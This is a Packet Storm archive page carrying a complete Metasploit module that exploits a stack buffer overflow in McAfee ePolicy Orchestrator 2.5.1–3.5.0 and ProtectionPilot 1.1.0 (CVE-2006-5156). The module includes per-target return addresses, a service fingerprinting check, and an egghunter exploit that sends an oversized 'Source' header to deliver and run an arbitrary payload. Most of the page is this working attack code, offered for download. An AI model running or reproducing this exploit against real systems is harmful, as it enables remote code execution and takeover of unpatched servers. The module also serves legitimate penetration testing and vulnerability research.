what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

McAfee ePolicy Orchestrator / ProtectionPilot Overflow

McAfee ePolicy Orchestrator / ProtectionPilot Overflow
Posted Nov 26, 2009
Authored by H D Moore, patrick, muts, xbxice | Site metasploit.com

This is an exploit for the McAfee HTTP Server (NAISERV.exe). McAfee ePolicy Orchestrator 2.5.1 <= 3.5.0 and ProtectionPilot 1.1.0 are known to be vulnerable. By sending a large 'Source' header, the stack can be overwritten. This Metasploit module is based on the exploit by xbxice and muts. Due to size constraints, this module uses the Egghunter technique. You may wish to adjust WfsDelay appropriately.

tags | exploit, web
advisories | CVE-2006-5156
SHA-256 | 4e64f2bde60479894b56b37f3ca9106dbfee008011c45a3a524a30225b19046b

McAfee ePolicy Orchestrator / ProtectionPilot Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'McAfee ePolicy Orchestrator / ProtectionPilot Overflow',
'Description' => %q{
This is an exploit for the McAfee HTTP Server (NAISERV.exe).
McAfee ePolicy Orchestrator 2.5.1 <= 3.5.0 and ProtectionPilot 1.1.0 are
known to be vulnerable. By sending a large 'Source' header, the stack can
be overwritten. This module is based on the exploit by xbxice and muts.
Due to size constraints, this module uses the Egghunter technique. You may
wish to adjust WfsDelay appropriately.
},
'Author' =>
[
'muts <muts [at] remote-exploit.org>',
'xbxice[at]yahoo.com',
'hdm',
'patrick' # MSF3 rewrite, ePO v2.5.1 target
],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2006-5156' ],
[ 'OSVDB', '29421 ' ],
[ 'URL', 'http://www.milw0rm.com/exploits/2467' ],
[ 'URL', 'http://www.remote-exploit.org/advisories/mcafee-epo.pdf' ],
[ 'BID', '20288' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x26\x2b\x3d\x25\x8c\x3c\xff",
},
'Platform' => 'win',
'Targets' =>
[
[ 'ePo 2.5.1 (Service Pack 1)', { 'Ret' => 0x600741b5 } ], # p/p/r nahttp32.dll 2.5.1.213
[ 'ePo 3.5.0/ProtectionPilot 1.1.0', { 'Ret' => 0x601EDBDA } ], # p/p/r xmlutil.dll
],
'Privileged' => true,
'DisclosureDate' => 'Jul 17 2006'))

register_options(
[
Opt::RPORT(81),
], self.class)
end

def autofilter
false
end

def check
connect

req = "GET /SITEINFO.INI HTTP/1.0\r\n"
req << "User-Agent: Mozilla/5.0\r\n"
sock.put(req + "\r\n\r\n")

banner = sock.get(-1,3)

if (banner =~ /Spipe\/1.0/)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end

def exploit
connect

hunter = generate_egghunter
egg = hunter[1]

sploit = Rex::Text::rand_text_alphanumeric(92)
sploit << Rex::Arch::X86.jmp_short(6)
sploit << Rex::Text::rand_text_alphanumeric(2)
sploit << [target['Ret']].pack('V')
sploit << hunter[0]

content = egg + egg + payload.encoded

request = "GET /spipe/pkg HTTP/1.0\r\n"
request << "User-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n"
request << "Content-Length: " + content.length.to_s + "\r\n"
request << "AgentGuid=" + Rex::Text::rand_text_alphanumeric(64) + "\r\n"
request << "Source=" + sploit + "\r\n"
request << "\r\n"
request << content

sock.put(request + "\r\n\r\n")

disconnect
handler
end

def wfs_delay
25
end
end
Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    14 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    11 Files
  • 8
    Dec 8th
    45 Files
  • 9
    Dec 9th
    9 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close